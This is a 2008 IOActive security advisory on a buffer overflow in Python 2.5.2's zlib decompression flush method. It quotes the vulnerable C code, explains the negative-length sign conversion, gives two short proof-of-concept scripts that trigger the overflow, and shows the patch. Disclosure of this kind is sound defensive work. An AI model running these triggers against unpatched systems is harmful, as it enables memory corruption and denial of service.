IOActive Security Advisory: Buffer overflow in Python zlib extension module

Title: Buffer overflow in Python zlib extension module
Date Discoverd: ??-April-2008
Date Reported: 08-April-2008
Date Patched: 08-April-2008
Date Disclosed: 09-April-2008
Criticality: Critical

Affected Products

Python 2.5.2, earlier and unstable version are likely to be vulnerable

Synopsis

The zlib extension module contains a method for flushing decompression
streams
that takes an input parameter of how much data to flush. This parameter
is a
signed integer that is not verified for sanity and is thus potentially
negative.
When passed a negative value memory is misallocated and then the signed
integer
is converted to an unsigned integer resulting in buffer overflow.

Techical Details

Python-2.5.2/Modules/zlibmodule.c:

761 PyDoc_STRVAR(decomp_flush__doc__,
762 "flush( [length] ) – Return a string containing any remaining\n"
763 "decompressed data. length, if given, is the initial size of the\n"
764 "output buffer.\n"
765 "\n"
766 "The decompressor object can no longer be used after this call.");
767
768 static PyObject *
769 PyZlib_unflush(compobject *self, PyObject *args)
770 {
771 int err, length = DEFAULTALLOC;
772 PyObject * retval = NULL;
773 unsigned long start_total_out;
774
775 if (!PyArg_ParseTuple(args, "|i:flush", &length))
776 return NULL;
777 if (!(retval = PyString_FromStringAndSize(NULL, length)))
778 return NULL;
779
780
781 ENTER_ZLIB
782
783 start_total_out = self->zst.total_out;
784 self->zst.avail_out = length;
785 self->zst.next_out = (Byte *)PyString_AS_STRING(retval);
786
787 Py_BEGIN_ALLOW_THREADS
788 err = inflate(&(self->zst), Z_FINISH);
789 Py_END_ALLOW_THREADS

The PyArg_ParseTuple() function acts as a bridge between Python and C
and
initializes the length variable if one was provided. Then at line 777
this
variable is passed as the second parameter to
PyString_FromStringAndSize().
The second parameter to PyString_FromStringAndSize() is also signed, and
the API call itself does not validate the parameter in non-debug builds.
This value then has the size of a PyStringObject summed with it and is
passed to the Python allocator which services the request. Upon
successfull
allocation the assignment at line 784 causes a sign conversion as the
avail_out
member of the zst structure is an unsigned variable. Then at line 785
the
pointer to the memory that was allocated at line 777 is assigned to the
next_out
member of the zst structure. This culminates in buffer overflow at line
788
when the zlib inflate() function decompresses data.

Reproduction / Proof-of-Concept

When the length variable contains a value of -24 then the allocator is
told
to reserve 0 bytes of memory, however the allocator modifies the request
and
will allocate one byte of memory. For values ranging between -2 and -23
a small
amount of memory will be allocated due to being summed with the size of
a
PyStringObject. Both will mislead zlib into believing that there is
several
gigabytes of space available. If an attacker controls the input stream
then they can avoid the obvious Denial of Service simply be making the
available input large than the output buffer, but smaller than the
size required to hit an unmapped or read-only page of memory.

A semi-interesting note is that the value -1 will not work as when
extracting
this integer an API call mixes the return value and error code, with -1
indicating that an error occurred. This check is done in conjunction
with
another check and thus does not cause the routine to fail, but rather
causes
PyArg_ParseTuple() to initialize the length variable with a value of 1.

python-2.5.2-zlib-unflush-misallocation.py

#!/usr/bin/python

import zlib

msg = """
Desire to know why, and how, curiosity; such as is in no living creature
but man:
so that man is distinguished, not only by his reason, but also by this
singular passion
from other animals; in whom the appetite of food, and other pleasures of
sense, by
predominance, take away the care of knowing causes; which is a lust of
the mind,
that by a perseverance of delight in the continual and indefatigable
generation of knowledge, exceedeth the short vehemence of any carnal
pleasure.
"""

compMsg = zlib.compress(msg)
bad = -24
decompObj = zlib.decompressobj()
decompObj.decompress(compMsg)
decompObj.flush(bad)

python-2.5.2-zlib-unflush-signedness.py:

#!/usr/bin/python

import zlib

msg = """
Society in every state is a blessing, but government even in its best
state is but a necessary evil
in its worst state an intolerable one; for when we suffer, or are
exposed to the same miseries by a
government, which we might expect in a country without government, our
calamities is heightened by
reflecting that we furnish the means by which we suffer! Government,
like dress, is the badge of
lost innocence; the palaces of kings are built on the ruins of the
bowers of paradise. For were
the impulses of conscience clear, uniform, and irresistibly obeyed, man
would need no other
lawgiver; but that not being the case, he finds it necessary to
surrender up a part of his property
to furnish means for the protection of the rest; and this he is induced
to do by the same prudence which
in every other case advises him out of two evils to choose the least.
Wherefore, security being the true
design and end of government, it unanswerably follows that whatever form
thereof appears most likely to
ensure it to us, with the least expense and greatest benefit, is
preferable to all others.
""" * 1024

compMsg = zlib.compress(msg)
bad = -2
decompObj = zlib.decompressobj()
decompObj.decompress(compMsg, 1)
decompObj.flush(bad)

Remediation

This bug was patched in CVS and appends the following lines between 776
and 777:

if (length <= 0) {
    PyErr_SetString(PyExc_ValueError, "length must be greater than zero");
    return NULL;
}

Further details can be found at http://bugs.python.org/issue2586 and
http://svn.python.org/view?rev=62235&view=rev